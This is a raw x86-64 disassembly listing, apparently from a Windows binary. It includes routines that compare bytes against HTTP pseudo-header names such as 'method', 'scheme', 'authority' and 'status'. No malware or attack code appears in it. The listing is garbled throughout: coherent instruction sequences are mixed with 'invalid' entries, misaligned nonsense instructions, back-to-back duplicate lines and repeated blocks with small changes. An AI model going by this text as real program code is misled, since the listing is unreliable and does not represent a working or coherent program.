mov qword [rbx], rax
mov qword [rbx + 8], rdi
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], rcx
mov byte [rbx + 0x40], 5
jmp 0x14001c7c3
mov rdx, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
lea rcx, [rsp + 0x100]
mov r8, rsi
call fcn.1400310b0
cmp byte [rsp + 0x100], 0xb
jne 0x14001ce96
mov byte [rbx], 7
mov byte [rbx + 0x40], 8
jmp 0x14001d0bd
mov rax, qword [rsp + 0x70]
movzx ecx, byte [rsp + 0x78]
mov edx, dword [rsp + 0x79]
movzx r8d, word [rsp + 0x7d]
movzx r9d, byte [rsp + 0x7f]
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], cl
and al, 0x28
mov dword [rsp + 0x29], edx
mov word [rsp + 0x2d], r8w
mov byte [rsp + 0x2f], r9b
mov rdi, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
lea rcx, [rsp + 0x100]
mov rdx, rdi
mov r8, rsi
call fcn.140014300
cmp qword [rsp + 0x100], 0
jne 0x14001ce07
mov rax, qword [rsp + 0x20]
test rax, rax
je 0x14001ce1a
mov rcx, qword [rsp + 0x38]
mov qword [rbx], rax
mov qword [rbx + 8], rdi
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], rcx
mov byte [rbx + 0x40], 4
jmp 0x14001c7c3
mov rax, qword [rsp + 0x70]
movzx ecx, byte [rsp + 0x78]
and al, 0x78
and al, 0x78
mov edx, dword [rsp + 0x79]
movzx r8d, word [rsp + 0x7d]
movzx r9d, byte [rsp + 0x7f]
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], cl
mov dword [rsp + 0x29], edx
mov word [rsp + 0x2d], r8w
mov byte [rsp + 0x2f], r9b
mov rdi, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
lea rcx, [rsp + 0x100]
mov rdx, rdi
mov r8, rsi
call fcn.140014300
cmp qword [rsp + 0x100], 0
jne 0x14001ce07
invalid
add byte [rax - 0x75], cl
and al, 0x20
mov rax, qword [rsp + 0x20]
test rax, rax
je 0x14001ce1a
mov rcx, qword [rsp + 0x38]
mov qword [rbx], rax
mov qword [rbx + 8], rdi
mov qword [rbx + 0x10], rsi
adc byte [rax - 0x77], cl
sbb r14b, al
add bpl, cl
invalid
cli
invalid
invalid
adc byte [rax - 0x77], cl
sbb r14b, al
add bpl, cl
invalid
mov rax, qword [rsp + 0x70]
movzx ecx, byte [rsp + 0x78]
mov edx, dword [rsp + 0x79]
movzx r8d, word [rsp + 0x7d]
movzx r9d, byte [rsp + 0x7f]
movups xmm0, xmmword [rsp + 0x80]
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], cl
and al, 0x28
and al, 0x28
mov dword [rsp + 0x29], edx
mov word [rsp + 0x2d], r8w
mov byte [rsp + 0x2f], r9b
mov rdi, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
lea rcx, [rsp + 0x100]
mov rdx, rdi
mov r8, rsi
call fcn.140014300
cmp qword [rsp + 0x100], 0
je 0x14001cfa4
mov rax, qword [rsp + 0x20]
lea rcx, [rsp + 0x38]
mov rdx, rdi
mov r8, rsi
invalid
call qword [rax + 0x10]
invalid
mov byte [rbx], 7
jmp 0x14001c7bf
invalid
invalid
invalid
mov rcx, qword [rsp + 0x78]
and al, 0x78
mov rsi, qword [rsp + 0x80]
mov rdx, rsi
call fcn.140031e80
test ax, ax
je 0x14001cfcf
mov word [rbx], ax
mov byte [rbx + 0x40], 7
jmp 0x14001d0bd
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x20]
mov rdx, rdi
mov r8, rsi
mov eax, esi
mov eax, esi
call fcn.140030d60
cmp qword [rsp + 0x20], 0
je 0x14001cfdb
mov byte [r15], 7
mov byte [r15 + 0x40], 8
lea rcx, [rsp + 0xa8]
mov rax, qword [rsp + 0x90]
mov eax, dword [rsp + 0x90]
add byte [rax - 0x75], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x98
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xa0
add byte [rax], al
add cl, ch
cmp dword [rsi], eax
add byte [rax], al
mov eax, dword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
jmp 0x14001d4cf
add byte [rax - 0x75], cl
test byte [rax + rdx], ah
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x30
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x30], rax
movups xmm0, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
sub dword [rsp + 0x20], eax
movaps xmm1, xmmword [rsp + 0x40]
movaps xmm2, xmmword [rsp + 0x50]
movups xmmword [rbx + 0x30], xmm2
movups xmmword [rbx + 0x20], xmm1
mov rax, qword [rsp + 0x30]
xor byte [rax - 0x77], cl
adc byte [r8 - 0x75], cl
and al, 0x38
xor byte [rax - 0x77], cl
adc byte [r8 - 0x75], cl
and al, 0x38
mov qword [rbx + 0x18], rax
movups xmmword [rbx], xmm0
mov byte [rbx + 0x40], 3
jmp 0x14001d0bd
movzx ecx, byte [rsp + 0xb8]
xor eax, eax
mov qword [rsp + 0x160], rax
mov byte [rsp + 0x168], cl
movaps xmm0, xmmword [rsp + 0x140]
sub byte [rsp + 0x140], al
sub byte [rsp + 0x140], al
movups xmmword [rsp + 0x169], xmm0
mov rcx, qword [rsp + 0x14f]
mov qword [rsp + 0x178], rcx
mov rsi, qword [rsp + 0x80]
test rsi, rsi
je 0x14001cf82
mov rdx, qword [rsp + 0x78]
push rsp
and al, 0x78
xor ecx, ecx
jmp 0x14001cf41
cmp r8b, 0x7f
je 0x14001cf52
inc rcx
cmp rsi, rcx
je 0x14001d070
movzx r8d, byte [rdx + rcx]
cmp r8b, 0x1f
ja 0x14001cf2f
cmp r8b, 9
je 0x14001cf35
mov byte [rbx], 7
mov byte [rbx + 0x40], 8
or byte [rax - 0x7b], cl
invalid
or byte [rax - 0x7b], cl
ror byte [rdi], 0x84
pop rbx
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
je 0x14001d0bd
lea rcx, [rsp + 0x178]
mov rdx, qword [rsp + 0x168]
mov r8, qword [rsp + 0x170]
call qword [rax + 0x10]
jmp 0x14001d0bd
cmp eax, dword [rcx]
add byte [rax], al
mov word [rax + rdi*2], fs
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x68
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x70
add dword [rax], eax
add bh, bh
push rax
adc cl, ch
cmp eax, dword [rcx]
add byte [rax], al
mov qword [rsp + 0x48], 1
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x11
and al, 0x50
push rdi
ror byte [rdi], 0x11
and al, 0x50
lea rax, [0x140114ae8]
mov qword [rsp + 0x40], rax
jmp 0x14001d07d
mov rax, qword [rsp + 0x20]
test rax, rax
je 0x14001ce1a
and byte [rax - 0x7b], cl
ror byte [rdi], 0x84
push 0x48fffffe
mov ecx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x38]
mov qword [rbx], rax
mov qword [rbx + 8], rdi
add ecx, dword [rax - 0x77]
jnp 0x14001cfc6
mov qword [rbx + 0x10], rsi
jae 0x14001cfd2
adc byte [rax - 0x77], cl
sbb r14b, al
mov qword [rbx + 0x18], rcx
mov byte [rbx + 0x40], 6
jmp 0x14001c7c3
invalid
invalid
inc esi
add ecx, dword [rax]
mov byte [rbx], 8
mov byte [rbx + 0x40], 8
jmp 0x14001d0bd
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movaps xmmword [rsp + 0xc0], xmm1
add byte [rdi], cl
sub dword [rsp + 0xb0], eax
add byte [rdi], cl
sub dword [rsp + 0xb0], eax
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
test r8, r8
test eax, eax
test eax, eax
mov rax, r15
clc
je 0x14001d320
xor ecx, ecx
leave
jmp 0x14001d027
cmp r9b, 0x7f
stc
jg 0x14001d08e
je 0x14001d038
sbb eax, 0x49c1ff48
cmp eax, ecx
invalid
inc rcx
cmp r8, rcx
enter 0xffffffffffff840f, 0x18
add eax, dword [rax]
invalid
je 0x14001d33f
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
or al, 0xa
movzx r9d, byte [rdx + rcx]
cmp r9b, 0x1f
ja 0x14001d015
cmp r9b, 9
je 0x14001d01b
mov byte [rax], 7
mov byte [rax + 0x40], 8
mov rax, qword [rsp + 0xb0]
test rax, rax
test eax, eax
invalid
test eax, eax
je 0x14001ce71
lea rcx, [rsp + 0xc8]
add byte [rax], al
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
test byte [rax + rax*8], ah
add byte [rax], al
add bh, bh
push rax
adc cl, ch
add esi, edi
invalid
invalid
test byte [rax + rax*8], ah
add byte [rax], al
rol byte [rax], 0
add bh, bh
push rax
adc cl, ch
add esi, edi
invalid
lea rcx, [rsp + 0x40]
mov r8, rsi
call fcn.1400120b0
invalid
dec dword [rdi]
adc byte [rsp + 0x160], al
add byte [rax], al
movups xmm0, xmmword [rsp + 0x160]
add byte [rax], al
movups xmm1, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x30], xmm1
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x30], ecx
movaps xmmword [rsp + 0x20], xmm0
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
movaps xmm2, xmmword [rsp + 0x50]
movups xmmword [rbx + 0x30], xmm2
push rbx
xor byte [rax - 0x77], cl
and byte [r8 - 0x77], cl
sub byte [r15], cl
adc dword [rbx + 0x10], ecx
push rbx
xor byte [rax - 0x77], cl
and byte [r8 - 0x77], cl
sub byte [r15], cl
adc dword [rbx + 0x10], ecx
movups xmmword [rbx], xmm0
mov byte [rbx + 0x40], 0
lea rcx, [rsp + 0x88]
mov rdx, qword [rsp + 0x78]
mov edx, dword [rsp + 0x78]
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov edx, dword [rsp + 0x78]
push rsp
and al, 0x78
mov r8, rsi
call qword [rdi + 0x10]
push rdi
invalid
push rdi
adc cl, ch
jmp 0x14001c7c3
cmp byte [rdi + 1], 0x70
jne case.0x14001caf6.6
cmp byte [rdi + 2], 0x72
invalid
jmp 0x14001c7c3
cmp byte [rdi + 1], 0x70
jne case.0x14001caf6.6
cmp byte [rdi + 2], 0x72
jne case.0x14001caf6.6
add dh, byte [rdx + 0xf]
test dword [rdi - 0x7ffffffd], edi
cmp byte [rdi + 3], 0x6f
jg 0x14001d0ef
outsd dx, dword [rsi]
jne case.0x14001caf6.6
mov ch, 3
add byte [rax], al
cmp byte [rdi + 4], 0x74
jne case.0x14001caf6.6
invalid
stosd dword [rdi], eax
add eax, dword [rax]
invalid
test dword [rbx - 0x7ffffffd], ebp
jg 0x14001d105
cmp byte [rdi + 5], 0x6f
outsd dx, dword [rsi]
jne case.0x14001caf6.6
add byte [rax], al
add byte [rax + 0xf63067f], al
test dword [rdi - 0x7ffffffd], edx
jg 0x14001d11b
cmp byte [rdi + 6], 0x63
jne case.0x14001caf6.6
cmp byte [rdi + 7], 0x6f
outsd dx, dword [rsi]
jne case.0x14001caf6.6
cmp byte [rdi + 8], 0x6c
insb byte [rdi], dx
jne case.0x14001caf6.6
movups xmm0, xmmword [rsp + 0x90]
movups xmm1, xmmword [rsp + 0xa0]
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xa0], cl
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x20]
call fcn.14001e1a0
mov rax, qword [rsp + 0xb0]
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
mov es, word [rbx]
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
mov es, word [rbx]
add byte [rax], al
movups xmm0, xmmword [rsp + 0xb8]
movaps xmmword [rsp + 0x20], xmm0
mov rcx, qword [rsp + 0xc8]
add byte [rcx - 0x77], cl
invalid
movaps xmm0, xmmword [rsp + 0x20]
movups xmmword [r15 + 8], xmm0
mov qword [r15 + 0x18], rcx
mov byte [r15 + 0x40], 6
jmp 0x14001d4d2
invalid
add byte [rcx - 0x77], cl
invalid
add byte [rdi], cl
mov dh, 0x4f
add dword [rbx - 0x7bf08c07], eax
sbb dword [rdx], eax
add byte [rax], al
movzx ecx, byte [rdi + 1]
cmp ecx, 0x73
je 0x14001d3b8
cmp ecx, 0x6d
jne case.0x14001caf6.6
cmp byte [rdi + 2], 0x65
jne case.0x14001caf6.6
cmp byte [rdi + 3], 0x74
jne case.0x14001caf6.6
cmp byte [rdi + 4], 0x68
jne case.0x14001caf6.6
cmp byte [rdi + 5], 0x6f
jne case.0x14001caf6.6
add byte [rax], al
add byte [rax], al
cmp byte [rdi + 6], 0x64
jne case.0x14001caf6.6
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
lea rcx, [rsp + 0xb0]
mov rbx, rdx
mov r14, r8
call fcn.1400310b0
cmp byte [rsp + 0xb0], 0xb
je 0x14001ce68
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x30], rax
movups xmm0, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x20], xmm0
movaps xmm1, xmmword [rsp + 0x40]
movaps xmm2, xmmword [rsp + 0x50]
movups xmmword [r15 + 0x30], xmm2
movups xmmword [r15 + 0x20], xmm1
mov rax, qword [rsp + 0x30]
mov qword [r15 + 0x10], rax
mov rax, qword [rsp + 0x38]
mov qword [r15 + 0x18], rax
movups xmmword [r15], xmm0
mov byte [r15 + 0x40], 3
jmp 0x14001d41f
cmp byte [rdi + 1], 0x61
jne case.0x14001caf6.6
cmp byte [rdi + 2], 0x75
jne case.0x14001caf6.6
test dword [rbx], edi
add al, byte [rax]
add byte [rax + 0xf74037f], al
test dword [rcx], esi
add al, byte [rax]
add byte [rax + 0xf68047f], al
test dword [rdi], esp
add al, byte [rax]
add byte [rax + 0xf6f057f], al
test dword [0xc001d28e], ebx
jg 0x14001d294
cmp byte [rdi + 3], 0x74
jne case.0x14001caf6.6
cmp byte [rdi + 4], 0x68
jne case.0x14001caf6.6
cmp byte [rdi + 5], 0x6f
jne case.0x14001caf6.6
cmp byte [rdi + 6], 0x72
jne case.0x14001caf6.6
jb 0x14001d29f
test dword [rbx], edx
add al, byte [rax]
add byte [rax + 0xf69077f], al
test dword [rcx], ecx
add al, byte [rax]
add byte [rax + 0xf74087f], al
test edi, edi
add dword [rax], eax
add byte [rax + 0xf79097f], al
test ebp, esi
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x90], al
cmp byte [rdi + 7], 0x69
jne case.0x14001caf6.6
cmp byte [rdi + 8], 0x74
jne case.0x14001caf6.6
cmp byte [rdi + 9], 0x79
jne case.0x14001caf6.6
movups xmm0, xmmword [rsp + 0x90]
movups xmm1, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x30], xmm1
add byte [rdi], cl
sub dword [rsp + 0x30], ecx
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x20]
call fcn.14001e120
mov rax, qword [rsp + 0xb0]
test rax, rax
je 0x14001d4f0
movups xmm0, xmmword [rsp + 0xb8]
movaps xmmword [rsp + 0x20], xmm0
mov rcx, qword [rsp + 0xc8]
mov qword [r15], rax
movaps xmm0, xmmword [rsp + 0x20]
movups xmmword [r15 + 8], xmm0
movups xmmword [rdi + 8], xmm0
mov qword [r15 + 0x18], rcx
mov byte [r15 + 0x40], 2
jmp 0x14001d4d2
mov qword [rsp + 0x48], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
lea rcx, [0x140114ae8]
mov qword [rsp + 0x40], rcx
jmp 0x14001d358
lea rcx, [rsp + 0x40]
and al, 0x40
mov rbx, rdx
mov r14, r8
call fcn.1400120b0
mov r8, r14
mov rdx, rbx
mov rax, r15
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmm1, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
mov rcx, qword [rsp + 0x40]
mov r9, qword [rsp + 0x48]
movaps xmm2, xmmword [rsp + 0x50]
movups xmmword [rax + 0x30], xmm2
mov qword [rax + 0x20], rcx
mov qword [rax + 0x28], r9
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov byte [rax + 0x40], 0
add cl, bpl
and al, byte [rcx]
add byte [rax], al
mov r10b, 0xb
mov byte [rcx], r10b
mov byte [rcx + 0x40], 8
or byte [rax - 0x7f], cl
invalid
add rsp, 0x1e8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
movzx ecx, byte [rdi + 2]
cmp ecx, 0x63
je 0x14001d42a
cmp ecx, 0x74
jne case.0x14001caf6.6
cmp byte [rdi + 3], 0x61
jne case.0x14001caf6.6
cmp byte [rdi + 4], 0x74
jne case.0x14001caf6.6
cmp byte [rdi + 5], 0x75
jne case.0x14001caf6.6
cmp byte [rdi + 6], 0x73
jne case.0x14001caf6.6
mov rcx, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
mov rbx, rcx
mov r14, rdx
call fcn.140031e80
jae 0x14001d455
add dword [rax], eax
test ax, ax
je 0x14001ce68
mov word [r15], ax
mov byte [r15 + 0x40], 7
mov rdx, rbx
mov r8, r14
jmp 0x14001d4bf
cmp byte [rdi + 3], 0x68
jne case.0x14001caf6.6
cmp byte [rdi + 4], 0x65
jne case.0x14001caf6.6
cmp byte [rdi + 5], 0x6d
jne case.0x14001caf6.6
cmp byte [rdi + 6], 0x65
jne case.0x14001caf6.6
movups xmm0, xmmword [rsp + 0x90]
movups xmm1, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x30], xmm1
and al, 0x30
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x20]
call fcn.14001e120
mov rax, qword [rsp + 0xb0]
test rax, rax
invalid
je 0x14001d4f0
movups xmm0, xmmword [rsp + 0xb8]
movaps xmmword [rsp + 0x20], xmm0
mov rcx, qword [rsp + 0xc8]
mov qword [r15], rax
movaps xmm0, xmmword [rsp + 0x20]
movups xmmword [r15 + 8], xmm0
mov qword [r15 + 0x18], rcx
mov byte [r15 + 0x40], 4
jmp 0x14001d4d2
mov byte [rax], 9
mov byte [rax + 0x40], 8
or byte [rax - 0x75], cl
xchg esp, eax
and al, 0x98
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xa0
add byte [rax], al
invalid
mov rax, qword [rsp + 0x90]
lea rcx, [rsp + 0xa8]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x190]
lea rcx, [rsp + 0x1a8]
and al, 0xa8
add dword [rax], eax
add byte [rax - 0x77], cl
cli
mov r8, rsi
call qword [rax + 0x10]
jmp 0x14001d3a7
mov byte [r15], 7
mov byte [r15 + 0x40], 8
jmp 0x14001d4d2
int3
mov rsi, rcx
movzx eax, byte [rdx + 0x40]
lea ecx, [rax - 2]
lea ecx, [rax - 2]
dec al
xor r8d, r8d
cmp cl, 6
movzx eax, al
rol byte [rax - 0x49f0f907], 0xc0
cmovae eax, r8d
movzx eax, al
lea rcx, [0x140176a2c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
jmp rax
mov r10, qword [rdx]
test r10, r10
je 0x14001d689
add byte [rax], al
lea rax, [rdx + 0x18]
mov r8, qword [rdx + 8]
mov r9, qword [rdx + 0x10]
lea rcx, [rsp + 0x28]
mov rdi, rdx
mov rdx, rax
call qword [r10]
mov rdx, rdi
mov rdi, qword [rsp + 0x28]
movzx ebx, byte [rsp + 0x30]
movups xmm0, xmmword [rsp + 0x31]
movaps xmmword [rsp + 0x50], xmm0
xor dword [rdi], ecx
sub dword [rsp + 0x50], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
mov qword [rsp + 0x5f], rax
and al, 0x5f
jmp 0x14001d68f
lea rax, [rdx + 0x18]
mov r10, qword [rdx]
mov r8, qword [rdx + 8]
mov r9, qword [rdx + 0x10]
lea rcx, [rsp + 0x28]
mov rdx, rax
call qword [r10]
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
sub byte [rdi], cl
adc byte [rsp + 0x38], cl
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov byte [rsi + 0x40], 5
jmp 0x14001d6df
movzx ebp, byte [rdx]
cmp ebp, 9
jae case.0x14001a6b7.131
sub byte [rcx], al
add byte [rax], al
mov byte [rsi], bpl
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x4b]
mov dword [rsi + 1], eax
mov dword [rsi + 4], ecx
add al, 0x48
mov dword [rsi + 8], ebx
mov qword [rsi + 0x10], rdi
jle 0x14001d5eb
mov byte [rsi + 0x40], 3
jmp 0x14001d6df
invalid
lea rax, [rdx + 0x18]
mov r10, qword [rdx]
invalid
mov r8, qword [rdx + 8]
mov r9, qword [rdx + 0x10]
lea rcx, [rsp + 0x28]
mov rdx, rax
call qword [r10]
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
and al, 0x38
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov byte [rsi + 0x40], 4
jmp 0x14001d6df
invalid
add byte [rax], al
invalid
add byte [rax], al
lea rax, [rdx + 0x18]
mov r10, qword [rdx]
mov r8, qword [rdx + 8]
mov r9, qword [rdx + 0x10]
lea rcx, [rsp + 0x28]
mov rdx, rax
call qword [r10]
call qword [rdx]
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
adc dword [rsi], eax
mov byte [rsi + 0x40], 2
jmp 0x14001d6df
xchg ebx, eax
add byte [rax], al
invalid
lea rax, [rdx + 0x18]
mov r10, qword [rdx]
mov r8, qword [rdx + 8]
mov r9, qword [rdx + 0x10]
lea rcx, [rsp + 0x28]
mov rdx, rax
call qword [r10]
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov byte [rsi + 0x40], 6
jmp 0x14001d6df
movzx eax, word [rdx]
mov word [rsi], ax
mov byte [rsi + 0x40], 7
jmp 0x14001d6df
movzx ebx, byte [rdx + 8]
xor edi, edi
lea rax, [rdx + 0x38]
mov r10, qword [rdx + 0x20]
mov r8, qword [rdx + 0x28]
mov r9, qword [rdx + 0x30]
lea rcx, [rsp + 0x28]
mov r14, rdx
mov rdx, rax
call qword [r10]
movzx eax, byte [r14 + 0x40]
mov qword [rsi], rdi
mov byte [rsi + 8], bl
movaps xmm0, xmmword [rsp + 0x50]
movups xmmword [rsi + 9], xmm0
mov rcx, qword [rsp + 0x5f]
mov qword [rsi + 0x18], rcx
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movups xmmword [rsi + 0x20], xmm0
movups xmmword [rsi + 0x30], xmm1
mov byte [rsi + 0x40], al
add rsp, 0x70
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
jne 0x14001d707
movzx edi, byte [rdx + 0x10]
mov eax, dword [rdx + 1]
mov ecx, dword [rdx + 4]
mov dword [rsp + 0x4b], ecx
mov dword [rsp + 0x48], eax
mov rbx, qword [rdx + 8]
jmp 0x14001d5c2
mov r14, qword [rdx + 8]
mov rdi, qword [rdx + 0x10]
test rdi, rdi
je 0x14001d731
js 0x14001d749
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rdi
call fcn.1400df910
test rax, rax
je 0x14001d74e
mov rbx, rax
jmp 0x14001d736
mov ebx, 1
mov rcx, rbx
mov rdx, r14
mov r8, rdi
call fcn.140106530
jmp 0x14001d5c2
call fcn.140010970
mov ecx, 1
mov rdx, rdi
call fcn.1401082a0
int3
cli
invalid
lea rdx, [0x140176a48]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
add eax, edx
adc eax, 0x4634800
invalid
add eax, edx
jmp rax
cmp qword [rcx], 0
je 0x14001d7f7
mov rdx, qword [rcx + 0x10]
jmp 0x14001d808
mov rax, qword [rcx + 0x10]
add rax, 0x25
add eax, 0x25
add eax, 0x25
add rsp, 0x20
pop rsi
ret
movzx eax, byte [rcx]
lea rdx, [0x140176a64]
movsxd rax, dword [rdx + rax*4]
add al, 0x82
add al, 0x82
add rax, rdx
jmp rax
mov eax, 7
jmp 0x14001d7c6
mov rax, qword [rcx + 0x10]
add rax, 0x27
add rsp, 0x20
pop rsi
ret
mov rax, qword [rcx + 0x10]
add rax, 0x2a
add rsp, 0x20
pop rsi
ret
mov rax, qword [rcx + 0x10]
add rax, 0x29
add rsp, 0x20
invalid
invalid
adc byte [rax - 0x7d], cl
shr byte [rcx], 0x48
add esp, 0x20
invalid
invalid
invalid
pop rsi
ret
mov eax, 0x2a
add byte [rax], al
add rsp, 0x20
pop rsi
ret
movzx eax, byte [rcx + 8]
mov rsi, rcx
invalid
mov ecx, eax
call fcn.14002e0f0
add byte [rax - 0x77], cl
int1
invalid
add byte [rax - 0x77], cl
int1
mov rax, qword [rcx + 0x30]
add rax, rdx
add rax, 0x20
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rsi
ret
mov eax, 3
jmp 0x14001d7c6
mov eax, 4
jmp 0x14001d7c6
mov eax, 5
jmp 0x14001d7c6
movzx eax, byte [rcx + 0x10]
cmp rax, 0x10
jb 0x14001d7c6
lea r8, [0x14012a2b8]
mov edx, 0xf
mov rcx, rax
call fcn.140108620
mov eax, 6
jmp 0x14001d7c6
invalid
xchg edx, eax
adc eax, 0x4634800
invalid
pop rsi
jmp fcn.140106530
invalid
int3
int3
int3
sub al, ch
invalid
int3
int3
adc byte [rcx], al
movups xmmword [rsp + 0x38], xmm0
mov r9, qword [rcx + 0x10]
mov byte [rsp + 0x28], 0
and al, 0x28
add dh, al
and al, 0x20
and al, 0x20
add dword [rax - 0x73], ecx
adc eax, 0xf8c77
ja 0x14001d97b
invalid
invalid
cmp byte [rbx + rcx*4 + 0x49], cl
adc dh, al
and al, 0x28
add dh, al
and al, 0x20
and al, 0x20
and al, 0x20
add dword [rax - 0x73], ecx
adc eax, 0xf8c77
ja 0x14001d97b
invalid
invalid
ja 0x14001d97b
str word [rax - 0x73]
lea rcx, [rsp + 0x38]
and al, 0x38
xor r8d, r8d
call fcn.1400e2790
int3
int3
sub byte [rax - 0x75], cl
xor dword [rax - 0x75], ecx
jns 0x14001da15
mov qword [rcx], 0
test rsi, rsi
add byte [rax], al
add byte [rax - 0x7b], cl
div byte [rsp + rdi + 0xf]
je 0x14001da55
invalid
mov dh, 5
invalid
test esi, esi
je 0x14001da55
movzx eax, byte [0x140182310]
mov edx, 0x10
add byte [rax], al
invalid
add byte [rax], al
xor ecx, ecx
call fcn.1400df910
invalid
or al, 0
test rax, rax
invalid
je 0x14001da46
mov qword [rax], rsi
mov qword [rax + 8], rdi
mov dword [rax + 8], edi
mov dword [rax + 8], edi
lea rdx, [0x140116b68]
add rsp, 0x28
invalid
sub byte [rdi + 0x5e], bl
ret
sub dword [rcx - 0x7cb7fff1], edx
invalid
mov ecx, 8
or byte [rax], al
add byte [rax], al
mov edx, 0x10
call fcn.1401082c0
invalid
invalid
add byte [rax], al
add al, ch
imul ebp, dword [rax + 0x7b9000e], 0
invalid
add byte [rcx + 7], bh
invalid
invalid
mov ecx, 7
add ch, cl
sub dword [rdi], ecx
or ecx, esp
int3
int 0x29
ud2
nop
sldt ebx
mov ecx, 7
int 0x29
ud2
invalid
or ecx, esp
int3
int3
lea r12, [r10 + 2]
mov qword [r8 + 8], r12
mov r14d, esi
and r14d, 0x7f
add r14, 0x7f
test sil, sil
js 0x14001dd50
xor esi, esi
mov rdi, rax
sub rdi, r12
cmovae rsi, rdi
mov bl, 2
cmp r14, rsi
jbe case.0x140018f24.466
mov byte [rcx + 1], bl
mov byte [rcx], 1
jmp 0x14001db09
add rsp, 0xf8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
ret
mov rsi, r12
sub rsi, r10
test r11b, r11b
js case.0x140018f24.475
add r12, r14
add esp, esi
jb 0x14001dfde
add byte [rax], al
cmp r12, rax
ja 0x14001dff6
invalid
invalid
add al, 0
invalid
xchg dword [rsp + rax - 0x76b30000], edi
invalid
mov qword [r8 + 8], r12
mov dword [rax + 8], esp
mov qword [rcx + 8], 0
mov qword [rcx + 0x28], rsi
mov dword [rcx + 0x28], esi
or byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rcx + 0x28], esi
mov dword [rcx + 0x28], esi
mov qword [rcx + 0x30], r14
mov byte [rcx], 0
xor dh, al
add dword [rax], eax
jmp 0x14001db09
mov qword [rsp + 0xb8], rsi
add byte [rax], al
mov qword [rsp + 0xc0], r15
add r9, r12
loope case.0x140018f24.489
cmp eax, esp
rol byte [rax], 0
add byte [rbp + 1], cl
loope case.0x140018f24.489
cmp eax, esp
mov eax, 1
cmova rax, r9
invalid
